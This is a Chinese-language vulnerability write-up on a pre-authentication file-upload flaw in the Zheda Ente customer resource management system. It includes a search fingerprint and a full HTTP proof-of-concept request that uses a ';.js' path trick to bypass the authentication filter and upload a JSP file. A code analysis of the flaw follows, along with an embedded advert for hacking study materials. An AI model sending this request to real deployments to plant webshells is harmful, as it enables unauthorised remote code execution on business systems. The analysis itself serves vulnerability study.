指纹:title="欢迎使用浙大恩特客户资源管理系统"
本文对该系统公开在互联网,但未分析代码细节的漏洞进行审计分析:
前台文件上传RCE
该系统2019版本存在权限绕过加文件上传组合漏洞,可通过上传webshell实现前台RCE。
公开POC:- POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host:
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
- Gecko/20100101 Firefox/112.0 uacqAccept:
- text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:
- zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:
- gzip, deflateConnection: closeContent-Type: multipart/form-data;
- boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 203
-
- ------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition:
- form-data; name="file";filename="as.jsp"Content-Type: image/jpeg
-
- <%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A--
复制代码 权限绕过部分先看过滤器:
分析web.xml发现purfilter为全局过滤器:
[img=720,400.5]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e9ae0807-ec4d-4552-8eaa-dce87c062da8.png[/img]
如上,会对/*也就是任意请求进行拦截,跟进源码:
[img=720,711.6428571428571]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/4e415e30-9442-49d9-a0b5-59973616ae8e.png[/img]
首先出现的就是白名单后缀+白名单接口,在后续校验中也是对非listExpUrl内容的后缀或者接口才会进行权限校验:
[img=720,134.35714285714286]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/eb266860-a898-4e7a-9f55-a62032b47b87.png[/img] 而拦截器在进行后缀白名单检测时,获取后缀的方式如下:
通过获取最后一个.的部分作为后缀。
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
而且该系统是tomcat容器,基于该容器对;的解析特性,不会匹配到;后面的内容,也就是在进行路由匹配时,只会匹配到CustomerAction.entphone,从而使得CustomerAction.entphone;.js?method=loadFile顺利进入过滤器层面的校验,并且此时获取的后缀又是.js,处于白名单后缀,从而实现权限绕过。
[img=720,228.03986710963454]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b020cf01-4100-4eea-a3c6-3715503f85e6.png[/img]
接下来分析:上传点代码漏洞原因:
[img=720,570.8571428571429]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/354bf932-b6e6-49da-9408-73afdf601dc0.png[/img]
先在xml文件寻找接口对应后端代码,该接口匹配后缀.entphone,对应代码为:enterphone.EntPhoneControl类。
全局搜索EntPhoneControl类:
[img=720,588.8571428571429]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/365f3361-f787-4287-a783-53902c689c2f.png[/img]
跟进漏洞类CustomerAction:
[img=720,400.5]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c8f9d2fb-d66b-4187-848e-69a9b0e54473.png[/img]
跟进method对应loadFile方法:
[img=720,442.92857142857144]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/28eb878f-b19c-432f-afe4-473f31cb74c0.png[/img]
要想进入文件上传逻辑,会先进行gesum参数的条件判断:
[img=720,459.64285714285717]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b3c0574d-ef52-48dd-8695-d6bfa6ea6d3f.png[/img]
在gesum不为空时才进入上传逻辑,原数据包里面是没有传gesum参数的,在java里面,一般值会设置为NULL,而NULL不等于空,则能够顺利进入if逻辑。
进入if块后,代码会继续执行以下步骤:
创建CustomerBean并设置gesnum(此时gesnum为null)和tenantID。
调用customerBean.checkGesnum()检查客户代码是否存在。
这一步是关键:若checkGesnum()方法在gesnum为null时返回false(即认为"客户代码不存在",符合业务逻辑,因为null通常不是有效的客户代码),则会进入else分支,执行文件上传逻辑。
[img=720,283.5]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/ffdd8535-0a3f-4c3d-801a-7ef3f605c6ae.png[/img]
随后通过如上文件获取文件名,并直接进行文件上传,由于未进行后缀校验,从而可上传jsp文件,造成RCE漏洞。
本地环境漏洞复现:
[img=720,189.64285714285714]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/cc9be201-ef66-4090-8a95-3e9b02a8ef8d.png[/img]
上传成功,并成功解析:
[img=720,107.1374527112232]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/1d25837b-5455-4565-824c-a379ed6136c3.png[/img]
更多网安技能的在线实操练习,请点击这里>>
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |